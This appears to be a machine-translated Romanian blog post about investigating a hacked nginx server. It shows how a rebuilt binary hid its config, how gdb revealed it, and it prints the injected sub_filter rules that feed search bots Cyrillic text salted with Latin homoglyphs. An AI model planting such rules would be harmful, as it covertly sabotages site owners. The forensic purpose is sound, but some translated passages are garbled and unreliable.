Când „a” nu este egal cu „a”. În urma unui hack

O poveste cea mai neplăcută i s-a întâmplat unuia dintre prietenii mei. Dar, pe cât de neplăcut s-a dovedit a fi pentru Mihail, a fost la fel de distractiv și pentru mine.

Trebuie să spun că prietenul meu este destul UNIX-utilizator: poate instala singur sistemul MySQL, php și faceți setări simple Nginx.
Și are o duzină sau o jumătate de site-uri dedicate instrumentelor de construcție.

Unul dintre aceste site-uri dedicate drujbelor se află ferm în TOPul motoarelor de căutare. Acest site este un recenzent non-comercial, dar cineva a luat obiceiul să-l atace. Acea DDoS, apoi forța brută, apoi scriu comentarii obscene și trimit abuzuri către hosting și către RKN.
Dintr-o dată, totul s-a calmat și acest calm s-a dovedit a nu fi bun, iar site-ul a început să părăsească treptat liniile de sus ale rezultatelor căutării.

Când „a” nu este egal cu „a”. În urma unui hack

Asta a fost o vorbă, apoi povestea administratorului în sine.

Era aproape ora de culcare când a sunat telefonul: „San, nu te uiți la serverul meu? Mi se pare că am fost piratat, nu pot dovedi, dar sentimentul nu m-a părăsit pentru a treia săptămână. Poate că este timpul să fac tratament pentru paranoia?”

A urmat o discuție de o jumătate de oră care poate fi rezumată după cum urmează:

  • solul pentru hacking era destul de fertil;
  • un atacator ar putea obține drepturi de superutilizator;
  • atacul (dacă a avut loc) a fost vizat în mod specific acestui site;
  • zonele cu probleme au fost corectate și trebuie doar să înțelegeți dacă a existat vreo pătrundere;
  • hack-ul nu a putut afecta codul site-ului și bazele de date.

Referitor la ultimul punct.

Când „a” nu este egal cu „a”. În urma unui hack

Doar IP-ul frontend alb se uită în lume. Nu există schimb între backend-uri și front-end cu excepția http(-urilor), utilizatorii/parolele sunt diferite, nu au fost schimbate chei. Pe adresele gri, toate porturile, cu excepția 80/443, sunt închise. IP-urile backend albe sunt cunoscute doar de doi utilizatori, în care Mikhail are deplină încredere.

Instalat pe front-end Debian 9 iar în momentul în care apelul este efectuat, sistemul este izolat de lume printr-un firewall extern și oprit.

„Ok, dă-mi acces”, decid să amân somnul pentru o oră. „Voi vedea cu ochii mei.”

Aici și mai departe:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Caut un posibil hack

Pornesc serverul, primul intrat modul de salvare. Montez discurile și le răsfoiesc autorizarebusteni, istorie, jurnalele de sistem etc., dacă se poate, verific datele creării fișierelor, deși înțeleg că un cracker normal ar fi „măturat” după el, iar Misha deja „călcase” mult în timp ce se căuta pe sine. .

Încep în modul normal, neînțelegând încă ce să caut, studiez configurațiile. În primul rând, mă interesează Nginx deoarece, în general, nu există nimic altceva pe frontend în afară de acesta.
Configurațiile sunt mici, bine structurate într-o duzină de fișiere, mă uit doar prin ele pisică'o, unul câte unul. Totul pare să fie curat, dar nu știi niciodată dacă am omis ceva include, permiteți-mi să fac o listă completă:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nu am înțeles: „Unde este lista?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

La întrebarea de listare se adaugă o a doua întrebare: „De ce o versiune atât de veche a nginx?”

În plus, sistemul consideră că cea mai recentă versiune este instalată:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Sun:
- Misha, de ce te-ai reasamblat Nginx?
- Trezește-te, nici nu știu cum să fac asta!
- Bine, du-te la culcare...

nginx este clar reconstruit și rezultatul listării folosind „-T” este ascuns pentru un motiv. Nu mai există îndoieli cu privire la hacking și poți pur și simplu să-l accepți și (de vreme ce Misha a înlocuit oricum serverul cu unul nou) să consideri problema rezolvată.

Și într-adevăr, din moment ce cineva a primit drepturile rădăcină— Ah, atunci are sens doar să faci reinstalarea sistemului, și era inutil să cauți ce era în neregulă acolo, dar de data aceasta curiozitatea a învins somnul. Cum putem afla ce au vrut să ne ascundă?

Să încercăm să urmărim:

$ strace nginx -T

Ne uităm la asta, în mod clar nu sunt suficiente linii în urmă a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Doar pentru distracție, să comparăm rezultatele.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Cred că o parte din cod /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

a fost adus la forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

sau

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

prin urmare listarea după „-T” nu este afișată.

Dar cum putem vedea configurația noastră?

Dacă gândul meu este corect și problema este doar în variabilă ngx_dump_config hai să încercăm să-l instalăm folosind gDB, din fericire există o cheie --cu-cc-opt -g prezenta si sper ca optimizarea -O2 nu ne va răni. În același timp, din moment ce nu știu cum ngx_dump_config ar putea fi procesat în cazul „T”:, nu vom apela acest bloc, ci îl vom instala folosind cazul „t”:

De ce puteți folosi „-t” precum și „-T”Procesare bloc if(ngx_dump_config) se întâmplă în interior if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Desigur, dacă codul este schimbat în această parte și nu în cazul „T”:, atunci metoda mea nu va funcționa.

Testați nginx.confDupă ce a rezolvat deja problema experimental, s-a stabilit că este necesară o configurație minimă pentru ca malware-ul să funcționeze Nginx tip:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

O vom folosi pentru concizie în articol.

Lansați depanatorul

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Pas cu pas:

  • setați un punct de întrerupere în funcție main ()
  • lansa programul
  • modificați valoarea variabilei care determină rezultatul config ngx_dump_config=1
  • continua/termină programul

După cum putem vedea, configurația reală diferă de a noastră, selectăm o piesă parazită din ea:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Să aruncăm o privire la ceea ce se întâmplă aici în ordine.

Sunt determinate Agent de utilizatorlui yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Paginile de servicii sunt excluse WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Și pentru cei care se încadrează în ambele condiții de mai sus

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

in text html-schimbarea paginilor 'O' pe 'o' и 'A' pe 'A':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Așa e, singura subtilitate este că 'a' != 'a' precum și 'o' != 'o':

Când „a” nu este egal cu „a”. În urma unui hack

Astfel, roboții motoarelor de căutare primesc, în locul textului normal 100% chirilic, gunoi modificat diluat cu latină 'A' и 'o'. Nu îndrăznesc să discut despre modul în care acest lucru afectează SEO, dar este puțin probabil ca un astfel de amestec de litere să aibă un impact pozitiv asupra pozițiilor din rezultatele căutării.

Ce să spun, băieți cu imaginație.

referințe

Depanare cu GDB
gdb(1) — Pagina de manual Linux
strace(1) — Pagina de manual Linux
Nginx - Modulul ngx_http_sub_module
Despre ferăstraie, drujbe și ferăstraie electrice

Sursa: www.habr.com

Adauga un comentariu